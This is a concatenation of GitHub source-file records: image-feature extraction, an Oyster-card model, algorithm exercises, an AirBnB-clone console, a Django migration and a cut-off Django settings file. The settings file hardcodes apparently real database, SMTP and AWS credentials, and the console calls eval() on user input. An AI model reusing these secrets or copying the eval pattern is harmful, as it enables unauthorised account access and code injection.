get_cnn_features(fread):\r\n    i = 0\r\n    for image_name in fread:\r\n        image_filename = os.path.join(image_folder_path, image_name)\r\n        cnn_feat_filename = os.path.join(cnn_features_folderpath, image_name)\r\n        try:\r\n            img = Image.open(image_filename).convert('RGB')\r\n            if not os.path.isfile(image_filename):\r\n                print(\"{} File not found!\".format(image_filename))\r\n                continue\r\n            if os.path.exists(cnn_feat_filename+\".npz\"):\r\n                # print(\"{} Skipped\".format(cnn_feat_filename))\r\n                continue\r\n            get_cnn_features_from_image(img,\r\n                                          cnn_feat_filename)\r\n        except:\r\n            print(\"{} Exception\".format(image_filename))\r\n            continue\r\n        i += 1\r\n        if i%500==0:\r\n            print(\"Processed {}\".format(i))\r\n\r\n\r\nif __name__ == '__main__':\r\n    print(sys.argv)\r\n    if len(sys.argv) != 3:\r\n        print(\"Usage: {0} video_list config_file\".format(sys.argv[0]))\r\n        print(\"video_list -- file containing video names\")\r\n        print(\"config_file -- yaml filepath containing all parameters\")\r\n        exit(1)\r\n\r\n    image_folder_path = sys.argv[1]\r\n    cnn_features_folderpath = sys.argv[2]\r\n\r\n    if not os.path.exists(cnn_features_folderpath):\r\n        os.mkdir(cnn_features_folderpath)\r\n\r\n    # Loop over all videos (training, val, testing)\r\n    # TODO: get SURF features for all videos but only from keyframes\r\n\r\n    fread = [f for f in os.listdir(image_folder_path)] #if re.match(r'[0-9]+.*\\.jpg', f)]\r\n    print(len(fread))\r\n    lines = chunkIt(fread, 1)\r\n    print(len(lines))\r\n    i = 0\r\n\r\n    _transforms = list()\r\n    _transforms.append(transforms.Resize((256, 256)))\r\n    _transforms.append(transforms.CenterCrop(224))\r\n    _transforms.append(transforms.ToTensor())\r\n    transform = transforms.Compose(_transforms)\r\n\r\n    arch = \"resnet50\"\r\n    model_file = '%s_places365.pth.tar' % arch\r\n    if not os.access(model_file, os.W_OK):\r\n        weight_url = 'http://places2.csail.mit.edu/models_places365/' + model_file\r\n        os.system('wget ' + weight_url)\r\n\r\n    model = models.__dict__[arch](num_classes=365)\r\n    checkpoint = torch.load(model_file, map_location=lambda storage, loc: storage)\r\n    state_dict = {str.replace(k,'module.',''): v for k,v in checkpoint['state_dict'].items()}\r\n    model.load_state_dict(state_dict)\r\n    model.eval()\r\n    layer = model._modules.get('avgpool')\r\n\r\n    # cnn.cuda()\r\n    print(\"Initialized!\")\r\n    # Remove final classifier layer\r\n    start = time.time()\r\n    print(\"Time: {}\".format(start))\r\n\r\n    Parallel(n_jobs=16)(delayed(get_cnn_features)(line) for line in lines)\r\n    # thread = [None for _ in range(len(lines))]\r\n    # my_embedding = [None for _ in range(len(lines))]\r\n    #\r\n    # for i in range(0, len(thread)):\r\n    #     print(len(lines[i]))\r\n    #     thread[i] = threading.Thread(target=get_cnn_features,\r\n    #                                args=(lines[i],))\r\n    #\r\n    # for i in range(0, len(thread)):\r\n    #     thread[i].start()\r\n    #\r\n    # for i in range(0, len(thread)):\r\n    #     thread[i].join()\r\n\r\n    print(\"Time: {}\".format(time.time()-start))","repo_name":"richcode6/Visual-Storytelling","sub_path":"cnn_feat_extraction.py","file_name":"cnn_feat_extraction.py","file_ext":"py","file_size_in_byte":4741,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"21"}
+{"seq_id":"12477436193","text":"from oyster.trip import Trip\n\n\nclass NotEnoughBalance(Exception):\n    pass\n\n\nclass Card:\n    \"\"\"\n    Class that models a Oyster card with its main functions\n\n    Parameters\n    ----------\n    balance : float\n        current balance of the oyster card\n    trip : Trip\n        instance of class trip\n\n    Attributes\n    ----------\n    tube_max_fare : float\n        max fare for tube service\n    bus_max_fare : float\n        max fare for bus service\n    \"\"\"\n    tube_max_fare = 3.20\n    bus_max_fare = 1.80\n\n    def __init__(self, balance=0):\n        self.balance = balance\n        self.trip = Trip()\n\n    def top_up(self, amount):\n        \"\"\"Top up card with an amount or adds difference between max fare and trip fare to the balance.\n\n        Parameters\n        ----------\n        amount : float\n            The amount to top up\n        \"\"\"\n        self.balance += amount\n\n    def subtract_amount(self, amount):\n        \"\"\"Subtracts trip price from the balance.\n\n        Parameters\n        ----------\n        amount : float\n            The amount to subtract\n        station_name : str\n            Should the fuels refilled to cover the distance?\n        \"\"\"\n        self.balance -= amount\n\n    def view_balance(self):\n        \"\"\"Shows remaining balance to stdout.\n\n        Returns\n        -------\n        self.balance\n            Current balance in the card\n        \"\"\"\n        return 'The balance left in your card is: £{}'.format('%.2f' % self.balance)\n\n    def swipe_in(self, trip_type, station_name=None):\n        \"\"\"Subtracts max fare from the balance and sets trip type and origin station name.\n\n        Parameters\n        ----------\n        trip_type : str\n            Type of trip\n        station_name : str\n            Name of origin station\n\n        Raises\n        ------\n        NotEnoughBalance\n            Not Enough Balance\n        \"\"\"\n        if trip_type == 'tube' and 0 <= self.balance < self.tube_max_fare:\n            raise NotEnoughBalance(\n                'Sorry but you do not have enough balance.\\nCurrent balance: £{}\\n Please top up your card.'.format(\n                    self.balance))\n        elif trip_type == 'bus' and 0 <= self.balance < self.bus_max_fare:\n            raise NotEnoughBalance(\n                'Sorry but you do not have enough balance.\\nCurrent balance: £{}\\n Please top up your card.'.format(\n                    self.balance))\n        self.subtract_amount(self.tube_max_fare) if trip_type == 'tube' else self.subtract_amount(self.bus_max_fare)\n        self.trip.type = trip_type\n        self.trip.orig_station = station_name\n\n    def swipe_out(self, station_origin_zone, station_destination_zone):\n        \"\"\"Calculates proper fare and replace the charged max fare with it.\n\n        Parameters\n        ----------\n        station_origin_zone : str\n            Origin station zone\n        station_destination_zone : str\n            Destination station zone\n        \"\"\"\n        fare = self.trip.calculate_trip_fare(station_origin_zone, station_destination_zone)\n        self.top_up(self.tube_max_fare - fare)\n\n    @classmethod\n    def increase_tube_or_bus_max_fare_price(cls, service_type, price):\n        \"\"\"Updates tube or bus max fare price.\n\n        Parameters\n        ----------\n        price : float\n            Price of the new max fare\n        service_type : str\n            Type of service\n        \"\"\"\n        if service_type == 'tube':\n            cls.tube_max_fare = price\n        else:\n            cls.bus_max_fare = price\n","repo_name":"TravisClub/oyster-card","sub_path":"oyster/card.py","file_name":"card.py","file_ext":"py","file_size_in_byte":3484,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"}
+{"seq_id":"6626887937","text":"from collections import deque\n\ndx = [1, -1, 0, 0]\ndy = [0, 0, -1, 1]\n\nt = int(input())\n\ndef bfs(ground, x, y):\n    que = deque()\n    ground[x][y]=0\n    que.append((x,y))\n\n    while que:\n\n        a, b = que.popleft()\n        for po in range(4):\n            dxx = a + dx[po]\n            dyy = b + dy[po]\n            if -1<dxx<n and -1<dyy<m and ground[dxx][dyy]==1:\n                ground[dxx][dyy]=0\n                que.append((dxx,dyy))\n    return\n\nfor _ in range(t):\n    worm = 0\n    m, n, k = map(int, input().split())\n    ground = [[0 for _ in range(m)] for _ in range(n)]\n    for _ in range(k):\n        y, x = map(int, input().split())\n        ground[x][y]=1\n\n    for i in range(n):\n        for j in range(m):\n            if ground[i][j]==1:\n                bfs(ground, i, j)\n                worm += 1\n\n    print(worm)\n\n\n","repo_name":"kkkmj/algorithm_study","sub_path":"BFS&DFS/1012.py","file_name":"1012.py","file_ext":"py","file_size_in_byte":825,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"}
+{"seq_id":"23972131763","text":"#!/usr/bin/python3\n\n\n\"\"\"Module that defines the HBNBCommand class for handling commands.\"\"\"\n\n\nimport cmd\nimport json\nimport re\nfrom models import storage\nfrom models.amenity import Amenity\nfrom models.base_model import BaseModel\nfrom models.city import City\nfrom models.place import Place\nfrom models.review import Review\nfrom models.state import State\nfrom models.user import User\n\n\n# Regex patterns\nuuid_pattern = (r\"\\b[a-fA-F0-9]{8}-[a-fA-F0-9]{4}-[a-fA-F0-9]{4}-\"\n                r\"[a-fA-F0-9]{4}-[a-fA-F0-9]{12}\\b\")\ndictionary_pattern = r\"\\{.*\\}\"\nclass_name_pattern = r'(.+?)\\.update'\npt1 = r'\\.show\\(\"'  # <class name>.show(<id>)\npt2 = r'\\.destroy\\(\"'  # <class name>.destroy(<id>)\npt3 = r'\\.update\\(\"'\n# <class name>.update(<id>, <attribute name>, <attribute value>)\n\n# Inbuilt Models\nModels = [\"BaseModel\", \"User\", \"State\", \"City\",\n          \"Amenity\", \"Place\", \"Review\"]\n\n\ndef update_line_check(line):\n    \"\"\"\n    checks condition for update features\n\n    Args:\n        line: string representation of command\n\n    Returns:\n        Bool: True if conditions passes else False\n    \"\"\"\n    if line[-2:] == '\")' or line[-1] == \")\" and \\\n            line[-2].isnumeric() or line[-1] == \")\":\n        return True\n    else:\n        return False\n\n\ndef update_line_dict_check(line):\n    \"\"\"\n    checks condition for update features for dictionaries\n\n    Args:\n        line: string representation of command\n\n    Returns:\n        Bool: True if conditions passes else False\n    \"\"\"\n    if re.search(dictionary_pattern, line):\n        return True\n    else:\n        return False\n\n\ndef update_to_dict(line):\n    \"\"\"\n    handles parsing of command from commandline\n    for updating with dictionary\n\n    Args:\n        line: string representation of command\n\n    Returns:\n        Tuple: class name, uuid, dictionary\n    \"\"\"\n    uuid_match = re.search(uuid_pattern, line)\n    dictionary_match = re.search(dictionary_pattern, line)\n    class_name_match = re.search(class_name_pattern, line)\n\n    cls_name = class_name_match.group()\n    cls_name = cls_name[:-7]\n\n    uuid = uuid_match.group()\n\n    d = dictionary_match.group()\n    d = d.replace(\"'\", '\"')\n    d = json.loads(d)\n\n    return cls_name, uuid, d\n\n\ndef check_all_conditions(line):\n    \"\"\"\n    checks condition for .show, .destroy and .update features\n\n    Args:\n        line: string representation of command\n\n    Returns:\n        Bool: True if conditions passes else False\n    \"\"\"\n    if re.finditer(f'{pt1}|{pt2}|{pt3}', line) and \\\n            line[-2:] == '\")' or re.finditer(r'\\d\\)$', line[-2]):\n        return True\n    else:\n        return False\n\n\nclass HBNBCommand(cmd.Cmd):\n    \"\"\"The HBNBCommand class is a subclass of the cmd.Cmd class in Python.\n\n        This class provides a command-line interface for interacting with the\n        application. It includes methods for various commands like create,\n        show, destroy, update, etc.\n\n        Attributes:\n            prompt (str): The prompt to display in the command-line interface.\n\n        Methods:\n            do_quit(line): Quit command to exit the program.\n            do_EOF(line): Exit the program when EOF is reached (Ctrl+D).\n            emptyline(): Override the default behavior of emptyline.\n            do_create(line): Creates a new instance of a class based on the\n                input argument.\n            help_create(): Provides assistance or guidance in\n                creating something.\n            do_show(line): Display information about an instance.\n            help_show(): Display information about the show command.\n            do_destroy(line): Deletes an instance based on the id\n                and class name.\n            help_destroy(): Display information about the destroy command.\n            do_all(line): Prints all instances of a class.\n            help_all(): Display help text for the command all().\n            do_update(line): Performs an update operation on an\n                instance's attributes.\n            help_update(): Display help text for the command update().\n            default(line): Handles custom commands.\n    \"\"\"\n    prompt = \"(hbnb) \"\n\n    def do_quit(self, line):\n        \"\"\"Quit command to exit the program\n        \"\"\"\n        return True\n\n    def do_EOF(self, line):\n        \"\"\"Exit the program when EOF is reached (Ctrl+D)\n        \"\"\"\n        return True\n\n    def emptyline(self):\n        \"\"\"Override the default behavior of emptyline.\n        \"\"\"\n        pass\n\n    def do_create(self, line):\n        \"\"\"Creates a new instance of a class based on the input argument.\n\n        Args:\n           line (str): The input command string.\n\n        If the class name is missing, it prints '** class name missing **'.\n\n        \"\"\"\n        if not line:\n            print(\"** class name missing **\")\n            return\n\n        try:\n            new_instance = eval(line.split()[0])()\n            new_instance.save()\n            print(new_instance.id)\n        except Exception:\n            print(\"** class doesn't exist **\")\n\n    def help_create(self):\n        \"\"\"\n        provides assistance or guidance in creating something.\n        \"\"\"\n        print('\\n'.join(['create [Model]',\n                         'Creates a new instance of an inbuilt Model',\n                         'If the class name is missing\\n\\t'\n                         'print ** class name missing **']))\n\n    def do_show(self, line):\n        \"\"\"Display information about an instance.\n\n        Args:\n            line (str): The input command string.\n\n        If the class name or instance id is missing, it prints\n        the appropriate message.\n        \"\"\"\n        args = line.split()\n        lth = len(args)\n        if lth < 1:\n            print(\"** class name missing **\")\n            return\n        elif lth < 2:\n            print(\"** instance id missing **\")\n            return\n        class_name = False\n        try:\n            instance = storage.all()\n            for i, k in instance.items():\n                if k[\"__class__\"] == args[0]:\n                    class_name = True\n                    if k[\"id\"] == args[1]:\n                        print(k)\n                        return\n\n            if class_name:\n                print(\"** no instance found **\")\n            else:\n                print(\"** class doesn't exist **\")\n        except Exception:\n            pass\n\n    def help_show(self):\n        \"\"\"\n        display information or documentation about the\n        show command\n        \"\"\"\n        print('\\n'.join(['show [Model] <id>',\n                         'Prints the string representation of an instance',\n                         'based on the class name and id']))\n\n    def do_destroy(self, line):\n        \"\"\"Deletes an instance based on the id and class name.\n\n        Args:\n            line (str): The input command string.\n\n        If the class name or instance id is missing, it prints the\n        appropriate message.\n        \"\"\"\n        args = line.split()\n        lth = len(args)\n        if lth < 1:\n            print(\"** class name missing **\")\n            return\n        elif lth < 2:\n            print(\"** instance id missing **\")\n            return\n\n        instance = storage.all()\n        class_name = False\n        instance_id = False\n        for i, k in instance.items():\n            if k[\"__class__\"] == args[0]:\n                class_name = True\n                if k[\"id\"] == args[1]:\n                    instance_id = True\n                    break\n\n        if instance_id and class_name:\n            try:\n                del instance[f\"{args[0]}.{args[1]}\"]\n                with open(\"models/engine/instances.json\", \"w\",\n                          encoding=\"utf-8\") as file:\n                    json.dump(instance, file)\n                storage.reload()\n            except Exception:\n                pass\n        elif class_name:\n            print(\"** no instance found **\")\n        else:\n            print(\"** class doesn't exist **\")\n\n    def help_destroy(self):\n        \"\"\"\n        prints help text to STDOUT about the destroy command.\n        \"\"\"\n        print('\\n'.join(['destroy [Model] <id>',\n                         'Deletes an instance',\n                         'based on the class name and id']))\n\n    def do_all(self, line):\n        \"\"\"Prints all instances of a class.\n\n        Args:\n            line (str): The input command string.\n\n        If the class name is missing or the class doesn't exist,\n        it prints the appropriate message.\n        \"\"\"\n        args = line.split()\n        if len(args) == 1:\n            class_present = False\n            for key, value in storage.all().items():\n                if value[\"__class__\"] == args[0]:\n                    class_present = True\n            if class_present:\n                print([f\"[{value['__class__']}] ({value['id']}) {value}\"\n                       for value in storage.all().values()\n                       if value[\"__class__\"] == args[0]])\n            elif not class_present:\n                print(\"** class doesn't exist **\")\n        elif len(line) < 1:\n            print([f\"[{value['__class__']}] ({value['id']}) {value}\"\n                   for value in storage.all().values()])\n        else:\n            self.default(line)\n\n    def help_all(self):\n        \"\"\"\n        prints Help text for the command all()\n        \"\"\"\n        print('\\n'.join(['all',\n                         'all [Model]',\n                         'Prints all string representation of all '\n                         'instances',\n                         'based or not on the class name.']))\n\n    def do_update(self, line):\n        \"\"\"Performs an update operation on an instance's attributes.\n\n        Args:\n            line (str): The input command string.\n\n        If the class name, instance id, attribute name,\n        or value is missing, it prints the appropriate message.\n        \"\"\"\n        args = line.split()\n        length = len(args)\n        if length == 3:\n            print(\"** value missing **\")\n            return\n        elif length == 2:\n            print(\"** attribute name missing **\")\n            return\n        elif length == 1:\n            print(\"** instance id missing **\")\n            return\n        elif length == 0:\n            print(\"** class name missing **\")\n        if len(args) >= 4:\n            instance = storage.all()\n            class_name = False\n            instance_id = False\n            for i, k in instance.items():\n                if k[\"__class__\"] == args[0]:\n                    class_name = True\n                    if k[\"id\"] == args[1]:\n                        instance_id = True\n\n            if instance_id and class_name:\n                try:\n                    old = instance[f\"{args[0]}.{args[1]}\"]\n                    value = args[3]\n                    value = value.replace('\"', '')\n                    if value.isdigit():\n                        if float(value).is_integer():\n                            value = int(float(value))\n                        else:\n                            value = float(value)\n                    old[args[2]] = value\n                    new_instance = eval(args[0])(**old)\n                    storage.new(new_instance)\n                    return\n                except Exception:\n                    pass\n            if class_name and not instance_id:\n                print(\"** no instance found **\")\n                return\n            elif not class_name:\n                print(\"** class doesn't exist **\")\n\n    def help_update(self):\n        \"\"\"\n        prints Help text for the command update()\n        \"\"\"\n        print('\\n'.join(['update',\n                         'updates an instance,'\n                         'based on class name, '\n                         'id, attribute name and value']))\n\n    def default(self, line):\n        \"\"\"Handles custom commands.\n        \"\"\"\n        try:\n            if line.find(\".all()\") != -1:\n                st_idx = line.find(\".all()\")\n                self.do_all(line[:st_idx])\n            elif line.find(\".count()\") != -1:\n                st_idx = line.find(\".count()\")\n                i = 0\n                class_present = False\n                for key, value in storage.all().items():\n                    if value[\"__class__\"] == line[:st_idx]:\n                        class_present = True\n                        i += 1\n                if class_present:\n                    print(i)\n                elif not class_present:\n                    print(\"** class doesn't exist **\")\n            elif check_all_conditions(line):\n                call = True\n                match = re.finditer(f'{pt1}|{pt2}|{pt3}', line)\n                for mat in match:\n                    if mat.group() == '.destroy(\"':\n                        call = False\n                        st_idx = line.find('.destroy(\"')\n                        if line[-2:] == '\")':\n                            command = (f\"{line[:st_idx]} \"\n                                       f\"{line[st_idx + 10:-2]}\")\n                            self.do_destroy(command)\n                        else:\n                            super().default(line)\n                    elif mat.group() == '.show(\"':\n                        call = False\n                        st_idx = line.find('.show(\"')\n                        if line[-2:] == '\")':\n                            command = (f\"{line[:st_idx]} \"\n                                       f\"{line[st_idx + 7:-2]}\")\n                            self.do_show(command)\n                        else:\n                            super().default(line)\n                    elif mat.group() == '.update(\"':\n                        call = False\n                        if update_line_dict_check(line):\n                            cls_name, u_id, dic = update_to_dict(line)\n                            for key, value in dic.items():\n                                command = (f\"{cls_name} {u_id} \"\n                                           f\"{key} {value}\")\n                                self.do_update(command)\n                        elif update_line_check(line):\n                            my_list = []\n                            split_text = re.split(r'[\\s, \", \\, \\), \\(]',\n                                                  line)\n                            for arg in split_text:\n                                if arg != '':\n                                    my_list.append(arg)\n                            my_list[0] = my_list[0][:-7]\n                            list_length = len(my_list)\n                            if list_length > 0:\n                                class_name = my_list[0]\n                                command = class_name\n                                if list_length > 1:\n                                    instance_id = my_list[1]\n                                    command += f\" {instance_id}\"\n                                    if list_length > 2:\n                                        attribute_name = my_list[2]\n                                        command += f\" {attribute_name}\"\n                                        if list_length > 3:\n                                            attribute_value = my_list[3]\n                                            command += \\\n                                                f\" {attribute_value}\"\n                                            self.do_update(command)\n                                        else:\n                                            self.do_update(command)\n                                    else:\n                                        self.do_update(command)\n                                else:\n                                    self.do_update(command)\n                            else:\n                                pass\n                        else:\n                            super().default(line)\n                if call:\n                    super().default(line)\n            else:\n                super().default(line)\n        except IndexError as e:\n            super().default(line)\n\n\nif __name__ == '__main__':\n    HBNBCommand().cmdloop()\n","repo_name":"Ossai6/AirBnB_clone","sub_path":"console.py","file_name":"console.py","file_ext":"py","file_size_in_byte":16033,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"21"}
+{"seq_id":"74546079412","text":"from time import time\n#O(n^3)\ndef find_m(alist):\n    start = time()\n    global_max = 0\n    for i in range(len(alist)):\n        local_max = 0\n        for j in range(i, len(alist)):\n            sum = 0\n            for k in range(i, j+1):\n                sum += alist[k]\n            local_max = local_max if local_max > sum else sum\n        global_max = local_max if local_max > global_max else global_max\n    end = time() - start\n    return (global_max, end)\n\n#O(n^2)\ndef find_m2(alist):\n    start = time()\n    global_max = 0\n    for i in range(len(alist)):\n        local_max, sum = 0, 0\n        for j in range(i, len(alist)):\n            sum += alist[j]\n            local_max = sum if sum > local_max else local_max\n        global_max = local_max if local_max > global_max else global_max\n    end = time() - start\n    return (global_max, end)\n\n#O(nlogn)\ndef find_m3(alist):\n    if len(alist) == 1:\n        return max(alist[0], 0)\n\n    mid = 0 + (len(alist) - 0) // 2\n    left_max = find_m3(alist[:mid])\n    right_max = find_m3(alist[mid:])\n    max_leftright = max(left_max, right_max)\n\n    sum_a, max_leftborder= 0, 0\n    for i in range(mid, -1, -1):\n        sum_a += alist[i]\n        max_leftborder = sum_a if sum_a > max_leftborder else max_leftborder\n\n    sum_b, max_rightborder = 0, 0\n    for j in range(mid+1, len(alist)):\n        sum_b += alist[j]\n        max_rightborder = sum_b if sum_b > max_rightborder else max_rightborder\n    return max(max_leftright, max_leftborder+max_rightborder)\n\n#O(n)\ndef find_m4(alist):\n    local_max = alist[0]\n    global_max = 0\n    for i in range(1, len(alist)):\n        local_max += alist[i]\n        local_max = max(alist[i], local_max)\n        global_max = max(local_max, global_max)\n    return global_max\n\n\nif __name__ == '__main__':\n    a = [-2, 1, -3, 4, -1, 2, 1, -5, 4]\n    start = time()\n    result_1 = find_m(a)\n    end_1 = time() - start\n    start = time()\n    result_2 = find_m2(a)\n    end_2 = time() - start\n    start = time()\n    result_3 = find_m3(a)\n    end_3 = time() - start\n    start = time()\n    result_4 = find_m4(a)\n    end_4 = time() - start\n    print(result_1, result_2, result_3, result_4, end_1, end_2, end_3, end_4)","repo_name":"yuzhecd/al_py","sub_path":"Divide_conquer/Find_maxsequence.py","file_name":"Find_maxsequence.py","file_ext":"py","file_size_in_byte":2179,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"}
+{"seq_id":"6160589978","text":"# -*- coding: utf-8 -*-\nfrom __future__ import unicode_literals\n\nfrom django.db import migrations, models\n\n\nclass Migration(migrations.Migration):\n\n    dependencies = [\n        ('documents', '0009_auto_20151119_1609'),\n        ('curriculum', '0008_auto_20160116_1428'),\n        ('resources', '0005_resourceset_lessons'),\n        ('artifacts', '0008_auto_20151119_1609'),\n        ('scholars', '0004_auto_20151023_0933'),\n        ('connections', '0007_auto_20171109_1548'),\n        ('maps', '0007_auto_20151022_2133'),\n        ('videos', '0001_initial'),\n    ]\n\n    operations = [\n        migrations.AddField(\n            model_name='video',\n            name='artifacts',\n            field=models.ManyToManyField(verbose_name='Artifacts related to this item', blank=True, to='artifacts.Artifact'),\n        ),\n        migrations.AddField(\n            model_name='video',\n            name='audiovisuals',\n            field=models.ManyToManyField(verbose_name='Related Media (slimbox)', blank=True, to='connections.Audiovisual'),\n        ),\n        migrations.AddField(\n            model_name='video',\n            name='biblio',\n            field=models.ManyToManyField(verbose_name='Further Study (slimbox)', blank=True, to='connections.Biblio'),\n        ),\n        migrations.AddField(\n            model_name='video',\n            name='connections',\n            field=models.ManyToManyField(verbose_name='Related PDFs (new tab)', blank=True, to='connections.Connection'),\n        ),\n        migrations.AddField(\n            model_name='video',\n            name='documents',\n            field=models.ManyToManyField(verbose_name='Documents related to this item', blank=True, to='documents.Document'),\n        ),\n        migrations.AddField(\n            model_name='video',\n            name='essays',\n            field=models.ManyToManyField(verbose_name='Background Info (slimbox)', blank=True, to='connections.Essay'),\n        ),\n        migrations.AddField(\n            model_name='video',\n            name='lectures',\n            field=models.ManyToManyField(verbose_name='Lectures (full page)', blank=True, to='scholars.Lecture'),\n        ),\n        migrations.AddField(\n            model_name='video',\n            name='lessons',\n            field=models.ManyToManyField(verbose_name='Lesson PDFs (new tab)', blank=True, to='curriculum.Lesson'),\n        ),\n        migrations.AddField(\n            model_name='video',\n            name='maps',\n            field=models.ManyToManyField(verbose_name='Maps (full page)', blank=True, to='maps.Geomap'),\n        ),\n        migrations.AddField(\n            model_name='video',\n            name='resourcesets',\n            field=models.ManyToManyField(verbose_name='Choose Resource Sets this item belongs to', blank=True, to='resources.Resourceset'),\n        ),\n        migrations.AddField(\n            model_name='video',\n            name='weblinks',\n            field=models.ManyToManyField(blank=True, to='connections.Weblink'),\n        ),\n        migrations.AlterField(\n            model_name='video',\n            name='video_source',\n            field=models.CharField(verbose_name='source url', max_length=128, blank=True, default=''),\n        ),\n    ]\n","repo_name":"DigitalGizmo/mse21","sub_path":"mse/videos/migrations/0002_auto_20171127_1445.py","file_name":"0002_auto_20171127_1445.py","file_ext":"py","file_size_in_byte":3202,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"}
+{"seq_id":"38180442856","text":"import os\nimport datetime\n\nBASE_DIR = os.path.dirname(os.path.dirname(os.path.abspath(__file__)))\nSECRET_KEY = 's$g^n1!&9wg(2^m)ls1&8#vgl3z3_48qb-fi08l&ey&w4$d5kp'\nDEBUG = False\nADMINS = [('Shun', 'klon.unicorn@gmail.com')]\nMANAGERS = ADMINS\nALLOWED_HOSTS = [\n    'localhost',\n    '127.0.0.1',\n    'klon-production.ap-northeast-1.elasticbeanstalk.com',\n    'd2lsr90acgtyop.cloudfront.net',\n    'klongroup.com',\n]\nALLOWED_CIDR_NETS = ['172.31.0.0/16',]\n\nINSTALLED_APPS = [\n    'home.apps.HomeConfig',\n    'api.apps.ApiConfig',\n\n    'django_filters',\n    'storages',\n    'multiselectfield',\n    'corsheaders',\n    'phonenumber_field',\n\n    'rest_framework',\n    'rest_framework.authtoken',\n    'allauth',\n    'allauth.account',\n    'allauth.socialaccount',\n    'rest_auth',\n    'rest_auth.registration',\n\n    'django.contrib.admin',\n    'django.contrib.auth',\n    'django.contrib.contenttypes',\n    'django.contrib.sessions',\n    'django.contrib.messages',\n    'django.contrib.staticfiles',\n    'django.contrib.sites',\n]\n\nSITE_ID = 1\n\nMIDDLEWARE = [\n    'corsheaders.middleware.CorsMiddleware',\n    'allow_cidr.middleware.AllowCIDRMiddleware',\n    'django.middleware.security.SecurityMiddleware',\n    'django.contrib.sessions.middleware.SessionMiddleware',\n    'django.middleware.common.CommonMiddleware',\n    'django.middleware.csrf.CsrfViewMiddleware',\n    'django.contrib.auth.middleware.AuthenticationMiddleware',\n    'django.contrib.messages.middleware.MessageMiddleware',\n    'django.middleware.clickjacking.XFrameOptionsMiddleware',\n]\n\nROOT_URLCONF = 'klon.urls'\n\nTEMPLATES = [\n    {\n        'BACKEND': 'django.template.backends.django.DjangoTemplates',\n        'DIRS': [],\n        'APP_DIRS': True,\n        'OPTIONS': {\n            'context_processors': [\n                'django.template.context_processors.debug',\n                'django.template.context_processors.request',\n                'django.contrib.auth.context_processors.auth',\n                'django.contrib.messages.context_processors.messages'\n            ],\n        },\n    },\n]\n\nWSGI_APPLICATION = 'klon.wsgi.application'\n\nDATABASES = {\n    'default': {\n        'ENGINE': 'django.db.backends.postgresql_psycopg2',\n        'NAME': 'klon',\n        'USER': 'klon',\n        'PASSWORD': '68YSehZhc8Ph8Pd',\n        'HOST': 'klon.cd8iujepsg4q.ap-northeast-1.rds.amazonaws.com',\n        'PORT': '5432',\n    }\n}\n\nAUTH_PASSWORD_VALIDATORS = [\n    {\n        'NAME': 'django.contrib.auth.password_validation.UserAttributeSimilarityValidator',\n    },\n    {\n        'NAME': 'django.contrib.auth.password_validation.MinimumLengthValidator',\n    },\n    {\n        'NAME': 'django.contrib.auth.password_validation.CommonPasswordValidator',\n    },\n    {\n        'NAME': 'django.contrib.auth.password_validation.NumericPasswordValidator',\n    },\n]\n\nAUTHENTICATION_BACKENDS = (\n    'django.contrib.auth.backends.ModelBackend',\n    'allauth.account.auth_backends.AuthenticationBackend',\n)\n\nREST_FRAMEWORK = {\n    'DEFAULT_PERMISSION_CLASSES': [\n        'rest_framework.permissions.DjangoModelPermissionsOrAnonReadOnly'\n    ],\n    'DEFAULT_AUTHENTICATION_CLASSES': [\n        'rest_framework_jwt.authentication.JSONWebTokenAuthentication',\n        'rest_framework.authentication.TokenAuthentication',\n        # 'rest_framework.authentication.SessionAuthentication',\n    ],\n    'DEFAULT_FILTER_BACKENDS': ('django_filters.rest_framework.DjangoFilterBackend',),\n    'DEFAULT_PAGINATION_CLASS': 'rest_framework.pagination.LimitOffsetPagination',\n    'PAGE_SIZE': 20\n}\n\nCORS_ORIGIN_WHITELIST = (\n    'localhost:8000',\n    '127.0.0.1:8000',\n    'klon-production.ap-northeast-1.elasticbeanstalk.com',\n    'd2lsr90acgtyop.cloudfront.net',\n    'klongroup.com',\n)\n\nREST_USE_JWT = True\nREST_SESSION_LOGIN = False\n\nJWT_AUTH = {\n    'JWT_ALLOW_REFRESH': True,\n    'JWT_EXPIRATION_DELTA': datetime.timedelta(days=7),\n}\n\nREST_AUTH_SERIALIZERS = {\n    'USER_DETAILS_SERIALIZER': 'api.serializers.UserSerializer'\n}\n\nDEFAULT_FROM_EMAIL = 'admin@klongroup.com'\nSERVER_EMAIL = 'admin@klongroup.com'\nEMAIL_BACKEND = 'django_smtp_ssl.SSLEmailBackend'\nEMAIL_HOST = 'email-smtp.us-west-2.amazonaws.com'\nEMAIL_PORT = 465\nEMAIL_USE_TLS = True\nEMAIL_HOST_USER = 'AKIAJQF3LEPENNUVGRHA'\nEMAIL_HOST_PASSWORD = 'Aqw55LzzfNfYznrzW382S2Lg3oVxEkMQ5sGCmhLq/hvZ'\n\nSTATICFILES_FINDERS = (\n    'django.contrib.staticfiles.finders.AppDirectoriesFinder',\n    'django.contrib.staticfiles.finders.FileSystemFinder',\n)\n\nLANGUAGE_CODE = 'en-us'\nTIME_ZONE = 'Asia/Tokyo'\nUSE_I18N = True\nUSE_L10N = True\nUSE_TZ = True\n\nCSRF_COOKIE_SECURE = True\nCSRF_USE_SESSIONS = True\n\nAWS_S3_OBJECT_PARAMETERS = {\n'Expires': 'Thu, 31 Dec 2099 20:00:00 GMT',\n'CacheControl': 'max-age=94608000',\n}\n\nAWS_S3_HOST = \"s3-ap-northeast-1.amazonaws.com\"\nAWS_STORAGE_BUCKET_NAME = 'klons3'\nAWS_CLOUDFRONT_DOMAIN = 'd2ec47gai1sijw.cloudfront.net'\nAWS_S3_REGION_NAME = 'us-west-2'\nAWS_ACCESS_KEY_ID = 'AKIAISP2GY73LRP5AXFQ'\nAWS_SECRET_ACCESS_KEY = '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'\n\nAWS_S3_CUSTOM_DOMAIN = 'd2ec47gai1sijw.cloudfront.net'\nAWS_S3_FILE_OVERWRITE = False\n\nMEDIAFILES_LOCATION = 'media'\nMEDIA_ROOT = '/%s/' % MEDIAFILES_LOCATION\nMEDIA_URL = '//%s/%s/' % (AWS_CLOUDFRONT_DOMAIN, 